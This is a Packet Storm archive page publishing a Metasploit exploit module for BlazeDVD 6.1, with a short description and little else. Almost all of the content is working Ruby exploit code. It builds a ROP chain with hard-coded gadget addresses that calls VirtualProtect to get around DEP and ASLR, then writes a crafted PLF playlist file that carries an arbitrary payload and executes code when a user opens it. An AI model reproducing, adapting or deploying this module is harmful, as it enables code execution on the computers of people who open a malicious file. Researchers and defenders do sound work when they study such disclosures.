what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass

BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass
Posted Dec 30, 2012
Authored by LiquidWorm, Craig Freyman | Site metasploit.com

This Metasploit module updates an existing MSF module originally written for BlazeDVD 5.1. The new module will bypass DEP and ASLR on version 6. The original vulnerability is due to the handling of specially crafted PLF files. Exploiting this allows us to execute arbitrary code running under the context of the user.

tags | exploit, arbitrary, bypass
advisories | CVE-2006-6199, OSVDB-30770
SHA-256 | ff5bd458d53d97905de67393897725bc2fc0ec2f6c59ecc21e7e6504016b8953

BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass',
'Description' => %q{
This module updates an existing MSF module originally written for BlazeDVD 5.1. The new module
will bypass DEP and ASLR on version 6. The original vulnerability is due to the handling of
specially crafted PLF files. Exploiting this allows us to execute arbitrary code running under
the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gjoko Krstic', # Original discovery
'Craig Freyman @cd1zz', # MSF Module
],
'References' =>
[
[ 'OSVDB', '30770' ],
[ 'CVE', '2006-6199' ],
[ 'URL', 'http://www.exploit-db.com/exploits/6217/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/13905/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/9329/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/16618/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",
'DisableNops' => true,
'StackAdjustment' => -3500
},

'Targets' =>
[
[ 'win',
{
'Ret' => 0x6030ef6c,# : {pivot 2352 / 0x930} : # POP ESI # ADD ESP,92C # RETN
'Offset' => 872
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 10 2008',
'DefaultTarget' => 0))

register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),], self.class)

end

def create_rop_chain()

# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x640258bf, # POP EAX # RETN [MediaPlayerCtrl.dll]
0x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]
0x6033d8be, # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll]
0x60327f7f, # POP EBP # RETN [Configuration.dll]
0x616069a1, # & push esp # ret 04 [EPG.dll]
0x60335f98, # POP EAX # RETN [Configuration.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x6404c4c3, # NEG EAX # RETN [MediaPlayerCtrl.dll]
0x64016676, # XCHG EAX,EBX # RETN [MediaPlayerCtrl.dll]
0x6410948f, # POP EAX # RETN [NetReg.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6033b0eb, # NEG EAX # RETN [Configuration.dll]
0x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll]
0x6033d975, # POP ECX # RETN [Configuration.dll]
0x6411c001, # &Writable location [NetReg.dll]
0x6410a85d, # POP EDI # RETN [NetReg.dll]
0x6160b805, # RETN (ROP NOP) [EPG.dll]
0x6402c108, # POP EAX # RETN [MediaPlayerCtrl.dll]
0x90909090, # nop
0x6033d886, # PUSHAD # RETN [Configuration.dll]
].flatten.pack("V*")

return rop_gadgets

end

def exploit
rop_chain = create_rop_chain()
stack_adjust = "\x81\xc4\x24\xfa\xff\xff"
buf = ''
buf << make_nops(target['Offset'])
buf << [target.ret].pack('V')
buf << make_nops(8) #filler for stack pivot
buf << rop_chain
buf << stack_adjust
buf << payload.encoded
buf << make_nops(5000 - buf.length)

file_create(buf)

end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close